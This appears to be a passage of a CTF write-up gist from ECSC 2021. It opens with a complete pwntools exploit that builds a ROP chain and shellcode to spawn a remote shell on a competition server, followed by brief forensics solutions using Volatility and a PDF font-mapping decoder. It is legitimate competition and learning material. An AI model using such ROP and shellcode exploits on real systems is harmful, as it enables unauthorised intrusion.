context.terminal = ['alacritty', '-e', 'bash', '-c']

#s = process('./easy-peasy')
#s = gdb.debug('./easy-peasy')
s = remote('ecsc21.hack.cert.pl', 25733)
s.recvuntil('u8@')
base = int(s.recvline().strip(), 16)
log.info('Buffer @ 0x%x', base)
with open('random.bin', 'rb') as f:
    data = f.read()

def gadget(code):
    x = data.index(asm(code))
    assert x is not None
    return base + x

bootstrap = asm('pop rax \n stosq \n mov rsi, rsp \n movsq \n mov ecx, 12 \n rep movsd')
shellcode = bootstrap + asm(shellcraft.sh())

stosd = gadget('stosd')
rop = cyclic(105) + p64(gadget('pop rdi \n ret')) + \
        p64(stosd + 1) + \
        p64(gadget('pop rbx \n ret')) + \
        p64(u32(shellcode[:4])) + \
        p64(gadget('xchg ebx, eax \n ret')) + \
        p64(stosd) + shellcode[4:]

print(hexdump(rop))

s.send(rop)
s.interactive()

XPDump (forensics)

The challenge is easy to solve with Volatility. First, by listing the processes we see FLAG.EXE. We can extract it as a cached file. For a reason I don't entirely understand, Volatility will output two files, which differ a little. One of them works when we execute it, though. This binary prints the flag, as long as we run it in a cmd session, so that the window doesn't immediately close โ€” realizing that this is the case involved some usage of Ghidra...

Fontain of youth (forensics)

The PDF file contains two fonts, and the bitflip made the flag contents use the wrong one. This corrupted the flag, as the characters are stored in the font in the order they first occur in the file. By opening the PDF file in Fontforge, we can see this order for both fonts. It seems that there isn't really a way to copy it, but after transcribing it manually, we get the flag:

A = 'In metalypsig,fowrcuzhd.E(")vgX-BbxT'
B = 'A typefacishovrldgn;u,xb.ETXwDmIkRCAG-gBY21{}'
t = 'gincgnmgznagc ngz n itnstyft naolr'

u = ''
for c in t:
    u += B[A.index(c)]
print(u)

Masala Chicken Caught By Speed Camera (๐Ÿ‡ฎ๐Ÿ‡ณ)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment